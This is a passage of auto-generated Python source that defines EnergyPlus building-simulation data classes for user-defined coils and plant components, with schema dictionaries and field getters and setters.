'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'supply inlet water storage tank name', {'name': u'Supply Inlet Water Storage Tank Name', 'pyname': u'supply_inlet_water_storage_tank_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'collection outlet water storage tank name', {'name': u'Collection Outlet Water Storage Tank Name', 'pyname': u'collection_outlet_water_storage_tank_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'ambient zone name', {'name': u'Ambient Zone Name', 'pyname': u'ambient_zone_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'})]), 'format': None, 'group': u'User Defined HVAC and Plant Component Models', 'min-fields': 9, 'name': u'Coil:UserDefined', 'pyname': u'CoilUserDefined', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` | This is the name of the coil Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def overall_model_simulation_program_calling_manager_name(self): """field `Overall Model Simulation Program Calling Manager Name` Args: value (str): value for IDD Field `Overall Model Simulation Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `overall_model_simulation_program_calling_manager_name` or None if not set """ return self["Overall Model Simulation Program Calling Manager Name"] @overall_model_simulation_program_calling_manager_name.setter def overall_model_simulation_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Overall Model Simulation Program Calling Manager Name`""" self["Overall Model Simulation Program Calling Manager Name"] = value @property def model_setup_and_sizing_program_calling_manager_name(self): """field `Model Setup and Sizing Program Calling Manager Name` Args: value (str): value for IDD Field `Model Setup and Sizing Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `model_setup_and_sizing_program_calling_manager_name` or None if not set """ return self["Model Setup and Sizing Program Calling Manager Name"] @model_setup_and_sizing_program_calling_manager_name.setter def model_setup_and_sizing_program_calling_manager_name(self, value=None): """Corresponds to IDD field `Model Setup and Sizing Program Calling Manager Name`""" self["Model Setup and Sizing Program Calling Manager Name"] = value @property def number_of_air_connections(self): """field `Number of Air Connections` | value >= 1 | value <= 2 Args: value (int): value for IDD Field `Number of Air Connections` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `number_of_air_connections` or None if not set """ return self["Number of Air Connections"] @number_of_air_connections.setter def number_of_air_connections(self, value=None): """Corresponds to IDD field `Number of Air Connections`""" self["Number of Air Connections"] = value @property def air_connection_1_inlet_node_name(self): """field `Air Connection 1 Inlet Node Name` | Inlet air for primary air stream Args: value (str): value for IDD Field `Air Connection 1 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `air_connection_1_inlet_node_name` or None if not set """ return self["Air Connection 1 Inlet Node Name"] @air_connection_1_inlet_node_name.setter def air_connection_1_inlet_node_name(self, value=None): """Corresponds to IDD field `Air Connection 1 Inlet Node Name`""" self["Air Connection 1 Inlet Node Name"] = value @property def air_connection_1_outlet_node_name(self): """field `Air Connection 1 Outlet Node Name` | Outlet air for primary air stream Args: value (str): value for IDD Field `Air Connection 1 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `air_connection_1_outlet_node_name` or None if not set """ return self["Air Connection 1 Outlet Node Name"] @air_connection_1_outlet_node_name.setter def air_connection_1_outlet_node_name(self, value=None): """Corresponds to IDD field `Air Connection 1 Outlet Node Name`""" self["Air Connection 1 Outlet Node Name"] = value @property def air_connection_2_inlet_node_name(self): """field `Air Connection 2 Inlet Node Name` | Inlet air for secondary air stream Args: value (str): value for IDD Field `Air Connection 2 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `air_connection_2_inlet_node_name` or None if not set """ return self["Air Connection 2 Inlet Node Name"] @air_connection_2_inlet_node_name.setter def air_connection_2_inlet_node_name(self, value=None): """Corresponds to IDD field `Air Connection 2 Inlet Node Name`""" self["Air Connection 2 Inlet Node Name"] = value @property def air_connection_2_outlet_node_name(self): """field `Air Connection 2 Outlet Node Name` | Outlet air for secondary air stream Args: value (str): value for IDD Field `Air Connection 2 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `air_connection_2_outlet_node_name` or None if not set """ return self["Air Connection 2 Outlet Node Name"] @air_connection_2_outlet_node_name.setter def air_connection_2_outlet_node_name(self, value=None): """Corresponds to IDD field `Air Connection 2 Outlet Node Name`""" self["Air Connection 2 Outlet Node Name"] = value @property def plant_connection_is_used(self): """field `Plant Connection is Used` Args: value (str): value for IDD Field `Plant Connection is Used` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_is_used` or None if not set """ return self["Plant Connection is Used"] @plant_connection_is_used.setter def plant_connection_is_used(self, value=None): """Corresponds to IDD field `Plant Connection is Used`""" self["Plant Connection is Used"] = value @property def plant_connection_inlet_node_name(self): """field `Plant Connection Inlet Node Name` Args: value (str): value for IDD Field `Plant Connection Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_inlet_node_name` or None if not set """ return self["Plant Connection Inlet Node Name"] @plant_connection_inlet_node_name.setter def plant_connection_inlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection Inlet Node Name`""" self["Plant Connection Inlet Node Name"] = value @property def plant_connection_outlet_node_name(self): """field `Plant Connection Outlet Node Name` Args: value (str): value for IDD Field `Plant Connection Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_outlet_node_name` or None if not set """ return self["Plant Connection Outlet Node Name"] @plant_connection_outlet_node_name.setter def plant_connection_outlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection Outlet Node Name`""" self["Plant Connection Outlet Node Name"] = value @property def supply_inlet_water_storage_tank_name(self): """field `Supply Inlet Water Storage Tank Name` | Water use storage tank for alternate source of water consumed by device Args: value (str): value for IDD Field `Supply Inlet Water Storage Tank Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `supply_inlet_water_storage_tank_name` or None if not set """ return self["Supply Inlet Water Storage Tank Name"] @supply_inlet_water_storage_tank_name.setter def supply_inlet_water_storage_tank_name(self, value=None): """Corresponds to IDD field `Supply Inlet Water Storage Tank Name`""" self["Supply Inlet Water Storage Tank Name"] = value @property def collection_outlet_water_storage_tank_name(self): """field `Collection Outlet Water Storage Tank Name` | Water use storage tank for collection of condensate by device Args: value (str): value for IDD Field `Collection Outlet Water Storage Tank Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `collection_outlet_water_storage_tank_name` or None if not set """ return self["Collection Outlet Water Storage Tank Name"] @collection_outlet_water_storage_tank_name.setter def collection_outlet_water_storage_tank_name(self, value=None): """Corresponds to IDD field `Collection Outlet Water Storage Tank Name`""" self["Collection Outlet Water Storage Tank Name"] = value @property def ambient_zone_name(self): """field `Ambient Zone Name` | Used for modeling device losses to surrounding zone Args: value (str): value for IDD Field `Ambient Zone Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `ambient_zone_name` or None if not set """ return self["Ambient Zone Name"] @ambient_zone_name.setter def ambient_zone_name(self, value=None): """Corresponds to IDD field `Ambient Zone Name`""" self["Ambient Zone Name"] = value class PlantComponentUserDefined(DataObject): """ Corresponds to IDD object `PlantComponent:UserDefined` Defines a generic plant component for custom modeling using Energy Management System or External Interface """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'main model program calling manager name', {'name': u'Main Model Program Calling Manager Name', 'pyname': u'main_model_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'number of plant loop connections', {'name': u'Number of Plant Loop Connections', 'pyname': u'number_of_plant_loop_connections', 'maximum': 4, 'required-field': True, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'plant connection 1 inlet node name', {'name': u'Plant Connection 1 Inlet Node Name', 'pyname': u'plant_connection_1_inlet_node_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 1 outlet node name', {'name': u'Plant Connection 1 Outlet Node Name', 'pyname': u'plant_connection_1_outlet_node_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 1 loading mode', {'name': u'Plant Connection 1 Loading Mode', 'pyname': u'plant_connection_1_loading_mode', 'required-field': True, 'autosizable': False, 'accepted-values': [u'DemandsLoad', u'MeetsLoadWithPassiveCapacity', u'MeetsLoadWithNominalCapacity', u'MeetsLoadWithNominalCapacityLowOutLimit', u'MeetsLoadWithNominalCapacityHiOutLimit'], 'autocalculatable': False, 'type': 'alpha'}), (u'plant connection 1 loop flow request mode', {'name': u'Plant Connection 1 Loop Flow Request Mode', 'pyname': u'plant_connection_1_loop_flow_request_mode', 'required-field': True, 'autosizable': False, 'accepted-values': [u'NeedsFlowIfLoopOn', u'NeedsFlowAndTurnsLoopOn', u'ReceivesWhateverFlowAvailable'], 'autocalculatable': False, 'type': 'alpha'}), (u'plant connection 1 initialization program calling manager name', {'name': u'Plant Connection 1 Initialization Program Calling Manager Name', 'pyname': u'plant_connection_1_initialization_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'plant connection 1 simulation program calling manager name', {'name': u'Plant Connection 1 Simulation Program Calling Manager Name', 'pyname': u'plant_connection_1_simulation_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'plant connection 2 inlet node name', {'name': u'Plant Connection 2 Inlet Node Name', 'pyname': u'plant_connection_2_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 2 outlet node name', {'name': u'Plant Connection 2 Outlet Node Name', 'pyname': u'plant_connection_2_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 2 loading mode', {'name': u'Plant Connection 2 Loading Mode', 'pyname': u'plant_connection_2_loading_mode', 'required-field': False, 'autosizable': False, 'accepted-values': [u'DemandsLoad', u'MeetLoadWithPassiveCapacity', u'MeetLoadWithNominalCapacity', u'MeetLoadWithNominalCapacityLowOutLimit', u'MeetLoadWithNominalCapacityHiOutLimit'], 'autocalculatable': False, 'type': 'alpha'}), (u'plant connection 2 loop flow request mode', {'name': u'Plant Connection 2 Loop Flow Request Mode', 'pyname': u'plant_connection_2_loop_flow_request_mode', 'required-field': False, 'autosizable': False, 'accepted-values': [u'NeedsFlowIfLoopOn', u'NeedsFlowAndTurnsLoopOn', u'ReceivesWhateverFlowAvailable'], 'autocalculatable': False, 'type': 'alpha'}), (u'plant connection 2 initialization program calling manager name', {'name': u'Plant Connection 2 Initialization Program Calling Manager Name', 'pyname': u'plant_connection_2_initialization_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'plant connection 2 simulation program calling manager name', {'name': u'Plant Connection 2 Simulation Program Calling Manager Name', 'pyname': u'plant_connection_2_simulation_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'plant connection 3 inlet node name', {'name': u'Plant Connection 3 Inlet Node Name', 'pyname': u'plant_connection_3_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 3 outlet node name', {'name': u'Plant Connection 3 Outlet Node Name', 'pyname': u'plant_connection_3_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 3 loading mode', {'name': u'Plant Connection 3 Loading Mode', 'pyname': u'plant_connection_3_loading_mode', 'required-field': False, 'autosizable': False, 'accepted-values': [u'DemandsLoad', u'MeetLoadWithPassiveCapacity', u'MeetLoadWithNominalCapacity', u'MeetLoadWithNominalCapacityLowOutLimit', u'MeetLoadWithNominalCapacityHiOutLimit'], 'autocalculatable': False, 'type': 'alpha'}), (u'plant connection 3 loop flow request mode', {'name': u'Plant Connection 3 Loop Flow Request Mode', 'pyname': u'plant_connection_3_loop_flow_request_mode', 'required-field': False, 'autosizable': False, 'accepted-values': [u'NeedsFlowIfLoopOn', u'NeedsFlowAndTurnsLoopOn', u'ReceivesWhateverFlowAvailable'], 'autocalculatable': False, 'type': 'alpha'}), (u'plant connection 3 initialization program calling manager name', {'name': u'Plant Connection 3 Initialization Program Calling Manager Name', 'pyname': u'plant_connection_3_initialization_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'plant connection 3 simulation program calling manager name', {'name': u'Plant Connection 3 Simulation Program Calling Manager Name', 'pyname': u'plant_connection_3_simulation_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'plant connection 4 inlet node name', {'name': u'Plant Connection 4 Inlet Node Name', 'pyname': u'plant_connection_4_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 4 outlet node name', {'name': u'Plant Connection 4 Outlet Node Name', 'pyname': u'plant_connection_4_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'plant connection 4 loading mode', {'name': u'Plant Connection 4 Loading Mode', 'pyname': u'plant_connection_4_loading_mode', 'required-field': False, 'autosizable': False, 'accepted-values': [u'DemandsLoad', u'MeetLoadWithPassiveCapacity', u'MeetLoadWithNominalCapacity', u'MeetLoadWithNominalCapacityLowOutLimit', u'MeetLoadWithNominalCapacityHiOutLimit'], 'autocalculatable': False, 'type': 'alpha'}), (u'plant connection 4 loop flow request mode', {'name': u'Plant Connection 4 Loop Flow Request Mode', 'pyname': u'plant_connection_4_loop_flow_request_mode', 'required-field': False, 'autosizable': False, 'accepted-values': [u'NeedsFlowIfLoopOn', u'NeedsFlowAndTurnsLoopOn', u'ReceivesWhateverFlowAvailable'], 'autocalculatable': False, 'type': 'alpha'}), (u'plant connection 4 initialization program calling manager name', {'name': u'Plant Connection 4 Initialization Program Calling Manager Name', 'pyname': u'plant_connection_4_initialization_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'plant connection 4 simulation program calling manager name', {'name': u'Plant Connection 4 Simulation Program Calling Manager Name', 'pyname': u'plant_connection_4_simulation_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'air connection inlet node name', {'name': u'Air Connection Inlet Node Name', 'pyname': u'air_connection_inlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'air connection outlet node name', {'name': u'Air Connection Outlet Node Name', 'pyname': u'air_connection_outlet_node_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'node'}), (u'supply inlet water storage tank name', {'name': u'Supply Inlet Water Storage Tank Name', 'pyname': u'supply_inlet_water_storage_tank_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'collection outlet water storage tank name', {'name': u'Collection Outlet Water Storage Tank Name', 'pyname': u'collection_outlet_water_storage_tank_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'ambient zone name', {'name': u'Ambient Zone Name', 'pyname': u'ambient_zone_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'})]), 'format': None, 'group': u'User Defined HVAC and Plant Component Models', 'min-fields': 9, 'name': u'PlantComponent:UserDefined', 'pyname': u'PlantComponentUserDefined', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` | This is the name of the plant component Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def main_model_program_calling_manager_name(self): """field `Main Model Program Calling Manager Name` Args: value (str): value for IDD Field `Main Model Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `main_model_program_calling_manager_name` or None if not set """ return self["Main Model Program Calling Manager Name"] @main_model_program_calling_manager_name.setter def main_model_program_calling_manager_name(self, value=None): """Corresponds to IDD field `Main Model Program Calling Manager Name`""" self["Main Model Program Calling Manager Name"] = value @property def number_of_plant_loop_connections(self): """field `Number of Plant Loop Connections` | value >= 1 | value <= 4 Args: value (int): value for IDD Field `Number of Plant Loop Connections` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `number_of_plant_loop_connections` or None if not set """ return self["Number of Plant Loop Connections"] @number_of_plant_loop_connections.setter def number_of_plant_loop_connections(self, value=None): """Corresponds to IDD field `Number of Plant Loop Connections`""" self["Number of Plant Loop Connections"] = value @property def plant_connection_1_inlet_node_name(self): """field `Plant Connection 1 Inlet Node Name` Args: value (str): value for IDD Field `Plant Connection 1 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_1_inlet_node_name` or None if not set """ return self["Plant Connection 1 Inlet Node Name"] @plant_connection_1_inlet_node_name.setter def plant_connection_1_inlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 1 Inlet Node Name`""" self["Plant Connection 1 Inlet Node Name"] = value @property def plant_connection_1_outlet_node_name(self): """field `Plant Connection 1 Outlet Node Name` Args: value (str): value for IDD Field `Plant Connection 1 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_1_outlet_node_name` or None if not set """ return self["Plant Connection 1 Outlet Node Name"] @plant_connection_1_outlet_node_name.setter def plant_connection_1_outlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 1 Outlet Node Name`""" self["Plant Connection 1 Outlet Node Name"] = value @property def plant_connection_1_loading_mode(self): """field `Plant Connection 1 Loading Mode` Args: value (str): value for IDD Field `Plant Connection 1 Loading Mode` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_1_loading_mode` or None if not set """ return self["Plant Connection 1 Loading Mode"] @plant_connection_1_loading_mode.setter def plant_connection_1_loading_mode(self, value=None): """Corresponds to IDD field `Plant Connection 1 Loading Mode`""" self["Plant Connection 1 Loading Mode"] = value @property def plant_connection_1_loop_flow_request_mode(self): """field `Plant Connection 1 Loop Flow Request Mode` Args: value (str): value for IDD Field `Plant Connection 1 Loop Flow Request Mode` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_1_loop_flow_request_mode` or None if not set """ return self["Plant Connection 1 Loop Flow Request Mode"] @plant_connection_1_loop_flow_request_mode.setter def plant_connection_1_loop_flow_request_mode(self, value=None): """Corresponds to IDD field `Plant Connection 1 Loop Flow Request Mode`""" self["Plant Connection 1 Loop Flow Request Mode"] = value @property def plant_connection_1_initialization_program_calling_manager_name(self): """field `Plant Connection 1 Initialization Program Calling Manager Name` Args: value (str): value for IDD Field `Plant Connection 1 Initialization Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_1_initialization_program_calling_manager_name` or None if not set """ return self[ "Plant Connection 1 Initialization Program Calling Manager Name"] @plant_connection_1_initialization_program_calling_manager_name.setter def plant_connection_1_initialization_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Plant Connection 1 Initialization Program Calling Manager Name`""" self[ "Plant Connection 1 Initialization Program Calling Manager Name"] = value @property def plant_connection_1_simulation_program_calling_manager_name(self): """field `Plant Connection 1 Simulation Program Calling Manager Name` Args: value (str): value for IDD Field `Plant Connection 1 Simulation Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_1_simulation_program_calling_manager_name` or None if not set """ return self[ "Plant Connection 1 Simulation Program Calling Manager Name"] @plant_connection_1_simulation_program_calling_manager_name.setter def plant_connection_1_simulation_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Plant Connection 1 Simulation Program Calling Manager Name`""" self[ "Plant Connection 1 Simulation Program Calling Manager Name"] = value @property def plant_connection_2_inlet_node_name(self): """field `Plant Connection 2 Inlet Node Name` Args: value (str): value for IDD Field `Plant Connection 2 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_2_inlet_node_name` or None if not set """ return self["Plant Connection 2 Inlet Node Name"] @plant_connection_2_inlet_node_name.setter def plant_connection_2_inlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 2 Inlet Node Name`""" self["Plant Connection 2 Inlet Node Name"] = value @property def plant_connection_2_outlet_node_name(self): """field `Plant Connection 2 Outlet Node Name` Args: value (str): value for IDD Field `Plant Connection 2 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_2_outlet_node_name` or None if not set """ return self["Plant Connection 2 Outlet Node Name"] @plant_connection_2_outlet_node_name.setter def plant_connection_2_outlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 2 Outlet Node Name`""" self["Plant Connection 2 Outlet Node Name"] = value @property def plant_connection_2_loading_mode(self): """field `Plant Connection 2 Loading Mode` Args: value (str): value for IDD Field `Plant Connection 2 Loading Mode` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_2_loading_mode` or None if not set """ return self["Plant Connection 2 Loading Mode"] @plant_connection_2_loading_mode.setter def plant_connection_2_loading_mode(self, value=None): """Corresponds to IDD field `Plant Connection 2 Loading Mode`""" self["Plant Connection 2 Loading Mode"] = value @property def plant_connection_2_loop_flow_request_mode(self): """field `Plant Connection 2 Loop Flow Request Mode` Args: value (str): value for IDD Field `Plant Connection 2 Loop Flow Request Mode` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_2_loop_flow_request_mode` or None if not set """ return self["Plant Connection 2 Loop Flow Request Mode"] @plant_connection_2_loop_flow_request_mode.setter def plant_connection_2_loop_flow_request_mode(self, value=None): """Corresponds to IDD field `Plant Connection 2 Loop Flow Request Mode`""" self["Plant Connection 2 Loop Flow Request Mode"] = value @property def plant_connection_2_initialization_program_calling_manager_name(self): """field `Plant Connection 2 Initialization Program Calling Manager Name` Args: value (str): value for IDD Field `Plant Connection 2 Initialization Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_2_initialization_program_calling_manager_name` or None if not set """ return self[ "Plant Connection 2 Initialization Program Calling Manager Name"] @plant_connection_2_initialization_program_calling_manager_name.setter def plant_connection_2_initialization_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Plant Connection 2 Initialization Program Calling Manager Name`""" self[ "Plant Connection 2 Initialization Program Calling Manager Name"] = value @property def plant_connection_2_simulation_program_calling_manager_name(self): """field `Plant Connection 2 Simulation Program Calling Manager Name` Args: value (str): value for IDD Field `Plant Connection 2 Simulation Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_2_simulation_program_calling_manager_name` or None if not set """ return self[ "Plant Connection 2 Simulation Program Calling Manager Name"] @plant_connection_2_simulation_program_calling_manager_name.setter def plant_connection_2_simulation_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Plant Connection 2 Simulation Program Calling Manager Name`""" self[ "Plant Connection 2 Simulation Program Calling Manager Name"] = value @property def plant_connection_3_inlet_node_name(self): """field `Plant Connection 3 Inlet Node Name` Args: value (str): value for IDD Field `Plant Connection 3 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_3_inlet_node_name` or None if not set """ return self["Plant Connection 3 Inlet Node Name"] @plant_connection_3_inlet_node_name.setter def plant_connection_3_inlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 3 Inlet Node Name`""" self["Plant Connection 3 Inlet Node Name"] = value @property def plant_connection_3_outlet_node_name(self): """field `Plant Connection 3 Outlet Node Name` Args: value (str): value for IDD Field `Plant Connection 3 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_3_outlet_node_name` or None if not set """ return self["Plant Connection 3 Outlet Node Name"] @plant_connection_3_outlet_node_name.setter def plant_connection_3_outlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 3 Outlet Node Name`""" self["Plant Connection 3 Outlet Node Name"] = value @property def plant_connection_3_loading_mode(self): """field `Plant Connection 3 Loading Mode` Args: value (str): value for IDD Field `Plant Connection 3 Loading Mode` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_3_loading_mode` or None if not set """ return self["Plant Connection 3 Loading Mode"] @plant_connection_3_loading_mode.setter def plant_connection_3_loading_mode(self, value=None): """Corresponds to IDD field `Plant Connection 3 Loading Mode`""" self["Plant Connection 3 Loading Mode"] = value @property def plant_connection_3_loop_flow_request_mode(self): """field `Plant Connection 3 Loop Flow Request Mode` Args: value (str): value for IDD Field `Plant Connection 3 Loop Flow Request Mode` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_3_loop_flow_request_mode` or None if not set """ return self["Plant Connection 3 Loop Flow Request Mode"] @plant_connection_3_loop_flow_request_mode.setter def plant_connection_3_loop_flow_request_mode(self, value=None): """Corresponds to IDD field `Plant Connection 3 Loop Flow Request Mode`""" self["Plant Connection 3 Loop Flow Request Mode"] = value @property def plant_connection_3_initialization_program_calling_manager_name(self): """field `Plant Connection 3 Initialization Program Calling Manager Name` Args: value (str): value for IDD Field `Plant Connection 3 Initialization Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_3_initialization_program_calling_manager_name` or None if not set """ return self[ "Plant Connection 3 Initialization Program Calling Manager Name"] @plant_connection_3_initialization_program_calling_manager_name.setter def plant_connection_3_initialization_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Plant Connection 3 Initialization Program Calling Manager Name`""" self[ "Plant Connection 3 Initialization Program Calling Manager Name"] = value @property def plant_connection_3_simulation_program_calling_manager_name(self): """field `Plant Connection 3 Simulation Program Calling Manager Name` Args: value (str): value for IDD Field `Plant Connection 3 Simulation Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_3_simulation_program_calling_manager_name` or None if not set """ return self[ "Plant Connection 3 Simulation Program Calling Manager Name"] @plant_connection_3_simulation_program_calling_manager_name.setter def plant_connection_3_simulation_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Plant Connection 3 Simulation Program Calling Manager Name`""" self[ "Plant Connection 3 Simulation Program Calling Manager Name"] = value @property def plant_connection_4_inlet_node_name(self): """field `Plant Connection 4 Inlet Node Name` Args: value (str): value for IDD Field `Plant Connection 4 Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_4_inlet_node_name` or None if not set """ return self["Plant Connection 4 Inlet Node Name"] @plant_connection_4_inlet_node_name.setter def plant_connection_4_inlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 4 Inlet Node Name`""" self["Plant Connection 4 Inlet Node Name"] = value @property def plant_connection_4_outlet_node_name(self): """field `Plant Connection 4 Outlet Node Name` Args: value (str): value for IDD Field `Plant Connection 4 Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_4_outlet_node_name` or None if not set """ return self["Plant Connection 4 Outlet Node Name"] @plant_connection_4_outlet_node_name.setter def plant_connection_4_outlet_node_name(self, value=None): """Corresponds to IDD field `Plant Connection 4 Outlet Node Name`""" self["Plant Connection 4 Outlet Node Name"] = value @property def plant_connection_4_loading_mode(self): """field `Plant Connection 4 Loading Mode` Args: value (str): value for IDD Field `Plant Connection 4 Loading Mode` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_4_loading_mode` or None if not set """ return self["Plant Connection 4 Loading Mode"] @plant_connection_4_loading_mode.setter def plant_connection_4_loading_mode(self, value=None): """Corresponds to IDD field `Plant Connection 4 Loading Mode`""" self["Plant Connection 4 Loading Mode"] = value @property def plant_connection_4_loop_flow_request_mode(self): """field `Plant Connection 4 Loop Flow Request Mode` Args: value (str): value for IDD Field `Plant Connection 4 Loop Flow Request Mode` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_4_loop_flow_request_mode` or None if not set """ return self["Plant Connection 4 Loop Flow Request Mode"] @plant_connection_4_loop_flow_request_mode.setter def plant_connection_4_loop_flow_request_mode(self, value=None): """Corresponds to IDD field `Plant Connection 4 Loop Flow Request Mode`""" self["Plant Connection 4 Loop Flow Request Mode"] = value @property def plant_connection_4_initialization_program_calling_manager_name(self): """field `Plant Connection 4 Initialization Program Calling Manager Name` Args: value (str): value for IDD Field `Plant Connection 4 Initialization Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_4_initialization_program_calling_manager_name` or None if not set """ return self[ "Plant Connection 4 Initialization Program Calling Manager Name"] @plant_connection_4_initialization_program_calling_manager_name.setter def plant_connection_4_initialization_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Plant Connection 4 Initialization Program Calling Manager Name`""" self[ "Plant Connection 4 Initialization Program Calling Manager Name"] = value @property def plant_connection_4_simulation_program_calling_manager_name(self): """field `Plant Connection 4 Simulation Program Calling Manager Name` Args: value (str): value for IDD Field `Plant Connection 4 Simulation Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_connection_4_simulation_program_calling_manager_name` or None if not set """ return self[ "Plant Connection 4 Simulation Program Calling Manager Name"] @plant_connection_4_simulation_program_calling_manager_name.setter def plant_connection_4_simulation_program_calling_manager_name( self, value=None): """Corresponds to IDD field `Plant Connection 4 Simulation Program Calling Manager Name`""" self[ "Plant Connection 4 Simulation Program Calling Manager Name"] = value @property def air_connection_inlet_node_name(self): """field `Air Connection Inlet Node Name` | Inlet air used for heat rejection or air source Args: value (str): value for IDD Field `Air Connection Inlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `air_connection_inlet_node_name` or None if 